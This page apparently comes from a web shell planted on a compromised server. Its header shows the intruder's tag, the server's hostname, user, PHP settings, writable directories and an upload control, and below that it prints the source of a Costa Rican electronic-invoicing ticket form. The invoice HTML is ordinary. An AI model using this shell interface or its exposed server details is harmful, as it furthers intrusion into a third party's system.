Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/facapi/API_Hacienda/www/Facturador/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/facapi/API_Hacienda/www/Facturador/tiquete.html
<!DOCTYPE html>
<html lang="en" dir="ltr">
    <head>
        <meta charset="utf-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <title>Facturador</title>
        <!-- Prevent the demo from appearing in search engines -->
        <meta name="robots" content="noindex" />
        <!-- App CSS -->
        <link type="text/css" href="./assets/css/app.css" rel="stylesheet" />
        <link type="text/css" href="./assets/css/app.rtl.css" rel="stylesheet" />
        <link type="text/css" href="./assets/css/sweetalert.css" rel="stylesheet" />
        <link type="text/css" href="./assets/css/style.css?v=0..01" rel="stylesheet" />
        <!-- Simplebar -->
        <link type="text/css" href="./assets/vendor/simplebar.css" rel="stylesheet" />
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <!-- Import de Js -->
        <script src="./assets/js/jquery-3.3.1.min.js"></script>
        <script src="./assets/js/crLibreFront.js"></script>
        <script src="./assets/js/crLibreApi.js"></script>
        <script src="./assets/js/sweetalert.min.js"></script>
        <script src="./assets/js/script.js"></script>
    </head>


    <body>

        <!-- Modal -->
        <div class="modal fade" id="myModal" role="dialog">
            <div class="modal-dialog">
                <!-- Modal content-->
                <div class="modal-content">
                    <div class="modal-header" style="padding:35px 50px;">
                        <button type="button" class="close" data-dismiss="modal">Cerrar</button>
                    </div>
                    <div class="modal-body" style="padding:40px 50px;">
                        <div id="divTT">
                            <center>
                                <div style="padding:6px 6px 6px 6px; border:dotted"  class="ticket">
                                    <p class="centrado">TIQUETE DE VENTA
                                        <br>
                                    <div id="teNombreComercial"></div>
                                    <div   id="teCedula" class="centrado"></div>
                                    <div   id="teTel" class="centrado"></div>
                                    <div id="teFecha"></div>
                                    <p  id="teClave" class="centrado"></p>
                                    <div  id="teConsucutivo" class="centrado"></div>
                                    <br>
                                    <table>
                                        <thead>
                                            <tr>
                                                <th class="cantidad">CANT</th>
                                                <th class="producto">PRODUCTO</th>
                                                <th class="precio">Monto</th>
                                            </tr>
                                        </thead>
                                        <tbody id="linesTE">

                                        </tbody>
                                    </table>
                                    <br>
                                    <p class="centrado">Gracias por su compra
                                        <br>Emitida conforme lo establecido en la resolucion de Facturacion Electronica, N DGT-R-48-2016 siete de octubre
                                        de dos mil dieciséis de la Direccion General de Tributacion</p>
                                </div>
                            </center>
                        </div>
                    </div>
                    <div class="modal-footer">
                        <button class="oculto-impresion" onclick="imprimir()">Imprimir</button>
                    </div>
                </div>

            </div>
        </div> 


        <div class="mdk-drawer-layout js-mdk-drawer-layout" data-fullbleed="" data-push="" data-responsive-width="992px" data-has-scrolling-region="">
            <div class="mdk-drawer-layout__content">
                <!-- header-layout -->
                <div class="mdk-header-layout js-mdk-header-layout  mdk-header--fixed  mdk-header-layout__content--scrollable">
                    <!-- header -->
                    <div class="mdk-header js-mdk-header bg-primary" data-fixed="">
                        <div class="mdk-header__content">
                            <nav class="navbar navbar-expand-md bg-primary navbar-dark d-flex-none">
                                <button class="btn btn-link text-white pl-0" type="button" data-toggle="sidebar">
                                    <i class="material-icons align-middle md-36">short_text</i>
                                </button>
                                <div class="page-title m-0">Creacion de Tiquete</div>
                            </nav>
                        </div>
                    </div>

                    <!-- content -->
                    <div class="mdk-header-layout__content ls-top-navbar mdk-header-layout__content--scrollable h-100">
                        <!-- main content -->
                        <div class="container-fluid container--wide">
                            <div class="row align-items-center mb-3">
                                <div class="col-md-8">
                                    <h1 class="h2 mb-0">Tiquete Electronico</h1>
                                    <ol class="breadcrumb">
                                        <li>
                                            <a href="#">Inicio</a>
                                        </li>
                                        <li>
                                            <a href="#">Comprobantes</a>
                                        </li>
                                        <li>
                                            <a href="#">Clientes</a>
                                        </li>
                                    </ol>
                                </div>
                                <div class="col-md-4 text-md-right">
                                    <button class="btn btn-white">
                                        <i class="material-icons md-18 align-middle">chevron_left</i>
                                        <span class="align-middle">Atras</span>
                                    </button>
                                </div>
                            </div>
                            <div class="card card-body card-padded">
                                <h1 class="h4 mb-0">1. Lineas de detalle</h1>
                                <hr />
                                <div id="tableFE" class="table-responsive">
                                    <table id="FETable" class="table" >
                                        <thead class="thead-dark">
                                            <tr>
                                                <th>
                                                    Producto
                                                </th>
                                                <th>Unidad</th>
                                                <th>Cantidad</th>
                                                <th>Precio Unitario</th>
                                                <th>Descuento %</th>
                                                <th>I.V %</th>
                                                <th>SubTotal</th>
                                                <th>Precio Total</th>
                                                <th class="text-right">Action</th>
                                            </tr>
                                        </thead>
                                        <tbody id="tabla" >


                                        </tbody>
                                        <tfoot>
                                        <td class="align-middle"></td>
                                        <td class="align-middle"></td>
                                        <td class="align-middle"></td>
                                        <td class="align-middle"></td>
                                        <td class="align-middle"></td>
                                        <td class="align-middle"></td>
                                        <td class="align-middle"></td>
                                        <td class="align-middle"></td>
                                        <td class="align-middle text-right"></td>
                                        </tfoot>
                                    </table>

                                </div>
                                <button onclick="addRow();" id="addBnt" class="btn btn-success btn-sm " data-toggle="tooltip" data-placement="bottom" title="" data-original-title="Agregar">
                                    <i class="material-icons md-12 align-middle">add</i>
                                </button>
                                <hr />
                                <h1 class="h4 mb-0">2. Informacion</h1>
                                <hr />
                                <form action="#" class="mb-3" />
                                <div class="row">
                                    <div class="col">
                                        <div class="form-group">
                                            <label for="supplier">Metodo de Pago</label>
                                            <select id="medioPago" class="select-2">
                                                <option value="01" selected="" />Efectivo
                                                <option value="02"  />Tarjeta
                                                <option value="03"  />Cheque
                                                <option value="04"  />Transferencia - depósito bancario
                                                <option value="05"  />Recaudado por terceros

                                            </select>
                                        </div>
                                    </div>
                                    <div class="col">
                                        <div class="form-group">
                                            <label for="supplier">Condicion de Venta</label>
                                            <select  id="condicionVenta" class="select-2">
                                                <option value="01" selected="" />Contado
                                                <option value="02"  />Credito
                                                <option value="03"  />Consignacion
                                                <option value="04"  />Apartado
                                                <option value="05"  />Arrendamiento con opcion de compra
                                                <option value="06"  />Arrendamiento con funcion financiera

                                            </select>
                                        </div>
                                    </div>
                                    <div  id="plazoCredito" class="col">
                                        <div  class="form-group">
                                            <label for="order_expected">Plazo de Credito</label>
                                            <input type="text"  class="form-control" id="plazoCreditoInput" placeholder="21">
                                        </div>

                                    </div>
                                    <div class="col">
                                        <div class="form-group">
                                            <label for="supplier">Tipo Moneda</label>
                                            <select id="tipoMoneda" class="select-2">
                                                <option value="CRC" selected="" />CRC
                                                <option value="USD"/>USD

                                            </select>
                                        </div>
                                    </div>
                                </div>

                                </form>
                                <h1 class="h4 mb-0">3. Datos de Factura</h1>
                                <hr />
                                <div class="row mb-3">
                                    <div class="col">
                                        <div class="form-group">
                                            <label for="order_created">Fecha de creacion</label>
                                            <input type="text" id="feDate" class="datepicker-disabled form-control" disabled="" />
                                        </div>
                                    </div>
                                    <div class="col">
                                        <div class="form-group">
                                            <label for="order_expected">Consecutivo de Tiquete</label>
                                            <input type="text" readonly class="form-control" id="feConsecutivo" placeholder="">
                                        </div>
                                    </div>
                                </div>

                                <div class="row">
                                    <div class="col-md-6">
                                        <hr />
                                        <div class="d-flex align-items-center justify-content-between">
                                            <strong>T. Comprobante:</strong>
                                            <strong><input value="0" readonly type="text" id="total" class="form-control"  placeholder=""></strong>
                                        </div>
                                    </div>
                                    <div class="col-md-6">
                                        <div class="form-group">
                                            <hr/>
                                            <input type="button" onclick="crLibreApi_TE();" class="btn btn-primary" value="Generar Tiquete"></input>
                                            <button type="button" class="btn btn-primary" id="myBtn">Imprimir</button>

                                        </div>
                                    </div>
                                </div>

                                <div class="row">
                                    <div class="col-md-6">
                                        <div class="card card-body card-subtotals bg-light">
                                            <ul class="list-unstyled">
                                                <li>
                                                    <div >Cantidad de productos</div>
                                                    <div><input value="0" readonly type="text" id="cantidad" class="form-control"  placeholder=""></div>
                                                </li>       
                                                <li>
                                                    <div>T.Serv.Gravados</div>
                                                    <div><input value="0" readonly type="text" id="TotalServGravados" class="form-control"  placeholder=""></div>
                                                </li>                                                
                                                <li><div >T.Serv.Exentos</div>
                                                    <div><input value="0" readonly type="text" id="TotalServExentos" class="form-control"  placeholder=""></div>
                                                </li>
                                                <li>
                                                    <div>T.Merc.Gravadas</div>
                                                    <div><input value="0" readonly type="text" id="TotalMercanciasGravadas" class="form-control"  placeholder=""></div>
                                                </li>                                                
                                                <li> <div >T.MercExentas</div>
                                                    <div><input value="0" readonly type="text" id="TotalMercanciasExentas" class="form-control"  placeholder=""></div>
                                                </li>
                                                <li>
                                                    <div>T.Gravado</div>
                                                    <div><input value="0" readonly type="text" id="TotalGravado" class="form-control"  placeholder=""></div>
                                                </li>                                                
                                                <li> <div >T.Exento</div>
                                                    <div><input value="0" readonly type="text" id="TotalExento" class="form-control"  placeholder=""></div>
                                                </li>

                                                <li> <div>Total Venta</div>
                                                    <div><input value="0" readonly type="text" id="totalVenta" class="form-control"  placeholder=""></div>
                                                </li>                                                
                                                <li>
                                                    <div>Descuento Total</div>
                                                    <div><input value="0" readonly type="text" id="descuenteTotal" class="form-control"  placeholder=""></div>
                                                </li>        
                                                <li> <div >Total Venta Neta</div>
                                                    <div><input value="0" readonly type="text" id="ventaNeta" class="form-control"  placeholder=""></div>
                                                </li>
                                                <li> <div>Impuesto Total</div>
                                                    <div><input value="0" readonly type="text" id="impuestoTotal" class="form-control"  placeholder=""></div>
                                                </li>
                                            </ul>

                                        </div>
                                    </div>
                                    <div class="col-md-6">
                                        <div class="form-group">
                                            <label for="note">Note</label>
                                            <textarea name="note" id="note" cols="30" rows="7" class="form-control"></textarea>
                                        </div>
                                    </div>



                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>

            <!-- drawer -->
            <div class="mdk-drawer js-mdk-drawer" id="default-drawer">
            </div>
            <!-- // END drawer -->
        </div>
        <!-- // END drawer-layout -->
        <!-- jQuery -->
        <script src="./assets/vendor/jquery.min.js"></script>
        <!-- Bootstrap -->
        <script src="./assets/vendor/popper.js"></script>
        <script src="./assets/vendor/bootstrap.min.js"></script>

        <!-- Simplebar -->
        <!-- Used for adding a custom scrollbar to the drawer -->
        <script src="./assets/vendor/simplebar.js"></script>


        <!-- Vendor -->
        <script src="./assets/vendor/Chart.min.js"></script>
        <script src="./assets/vendor/moment.min.js"></script>

        <!-- APP -->
        <script src="./assets/js/color_variables.js"></script>
        <script src="./assets/js/app.js"></script>


        <script src="./assets/vendor/dom-factory.js"></script>
        <!-- DOM Factory -->
        <script src="./assets/vendor/material-design-kit.js"></script>
        <!-- MDK -->

        <script>
                                                checkUserLogin();
                                                addmenu();
                                                (function () {
                                                    'use strict';
                                                    // Self Initialize DOM Factory Components
                                                    domFactory.handler.autoInit()
                                                    // Connect button(s) to drawer(s)
                                                    var sidebarToggle = document.querySelectorAll('[data-toggle="sidebar"]')

                                                    sidebarToggle.forEach(function (toggle) {
                                                        toggle.addEventListener('click', function (e) {
                                                            var selector = e.currentTarget.getAttribute('data-target') || '#default-drawer'
                                                            var drawer = document.querySelector(selector)
                                                            if (drawer) {
                                                                if (selector == '#default-drawer') {
                                                                    $('.container-fluid').toggleClass('container--max');
                                                                }
                                                                drawer.mdkDrawer.toggle();
                                                            }
                                                        })
                                                    })
                                                })()
        </script>


        <script src="./assets/vendor/select2.full.min.js"></script>
        <script src="./assets/vendor/bootstrap-datepicker.min.js"></script>

        <script>
                                                $("#myBtn").hide();
                                                $(document).ready(function () {
                                                    $("#myBtn").click(function () {
                                                        $("#myModal").modal();
                                                    });
                                                });

                                                $('.select-2').select2({
                                                    theme: 'bootstrap',
                                                    placeholder: 'Select an option'
                                                });

                                                $('.datepicker-new-order').datepicker({
                                                    orientation: 'auto'
                                                });
                                                // Get current date
                                                let today = new Date();
                                                let dd = today.getDate();
                                                let mm = today.getMonth() + 1;
                                                const yyyy = today.getFullYear();
                                                let hora = today.getHours();
                                                let minute = today.getMinutes();
                                                let segundos = today.getSeconds();
                                                if (dd < 10) {
                                                    dd = '0' + dd
                                                }
                                                if (segundos < 10) {
                                                    segundos = '0' + segundos
                                                }
                                                if (hora < 10) {
                                                    hora = '0' + hora
                                                }
                                                if (minute < 10) {
                                                    minute = '0' + minute
                                                }

                                                if (mm < 10) {
                                                    mm = '0' + mm
                                                }
                                                //2018-05-15T16:00:00-06:00
                                                today = yyyy + '-' + mm + '-' + dd + 'T' + hora + ':' + minute + ':' + segundos + '-06:00';

                                                $('.datepicker-disabled').val(today)

                                                $('.select2-results').append(`<a href="#">
                      <i class="material-icons md-18 align-middle">add_circle_outline</i>
                      <span class="align-middle">Add Supplier</span>
                    </a>`);


                                                crLibreApi_companny_consecutive_by_terminal("TE");
        </script>


    </body>

</html>

Hry